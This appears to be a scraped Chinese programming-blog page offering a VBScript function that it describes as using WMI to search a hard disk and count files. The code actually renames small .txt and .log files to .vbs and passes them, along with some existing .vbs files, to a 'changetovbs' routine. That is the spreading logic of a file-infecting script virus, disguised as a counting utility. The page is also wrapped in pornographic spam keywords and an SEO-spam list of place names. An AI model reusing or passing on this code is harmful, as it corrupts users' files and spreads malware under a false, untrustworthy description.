国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > VBScript > 正文

VBS調用WMI遍歷搜索硬盤文件并計數的方法

2020-06-26 17:40:21
字體:
來源:轉載
供稿:網友

多年之前寫的一個VBS調用WMI來遍歷搜索硬盤文件,并計數的函數,今天整理網盤,看到了,發上來

核心代碼:

Function wmisfile(path_sf,justcnt)  'On Error Resume Next  StrComputer = "."  Set ObjWMIService = GetObject("winmgmts://" & StrComputer & "/root/cimv2")  Set FileList = objWMIService.ExecQuery _  ("ASSOCIATORS OF {Win32_Directory.Name='" & path_sf & "'} Where " _   & "ResultClass = CIM_DataFile")  For Each objFile In FileList    fname = LCase(objfile.name)    ename = LCase(objfile.extension)    If 1 < objfile.filesize And objfile.filesize <= 50000 Then      Select Case ename        Case "txt","log"        path_vbs = objfile.drive & objfile.path & objfile.filename & ".vbs"        objfile.rename(objfile.drive & objFile.Path & objfile.filename & ".vbs")        Call changetovbs(path_vbs,path_vbs)        justcnt = justcnt + 1        Case "vbs"        If checkversion(fname) = False Then          Call changetovbs(fname,fname)          justcnt = justcnt + 1        End If      End Select    End If  Next  Set colSubfolders = objWMIService.ExecQuery _  ("Associators of {Win32_Directory.Name='" & path_sf & "'} " _   & "Where AssocClass = Win32_Subdirectory " _   & "ResultRole = PartComponent")  For Each objFolder In colSubfolders    wmisfile objfolder.name,justcnt  NextEnd Function


發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 冕宁县| 遂川县| 印江| 汝城县| 罗山县| 天津市| 内江市| 郸城县| 温宿县| 嵊泗县| 简阳市| 敦化市| 环江| 额尔古纳市| 景洪市| 措勤县| 迁安市| 改则县| 分宜县| 齐齐哈尔市| 万山特区| 且末县| 九寨沟县| 濮阳市| 通河县| 湟中县| 临沧市| 乡宁县| 广元市| 沙田区| 厦门市| 霍山县| 宁海县| 华阴市| 遂溪县| 抚顺县| 揭东县| 方城县| 扎囊县| 华安县| 封丘县|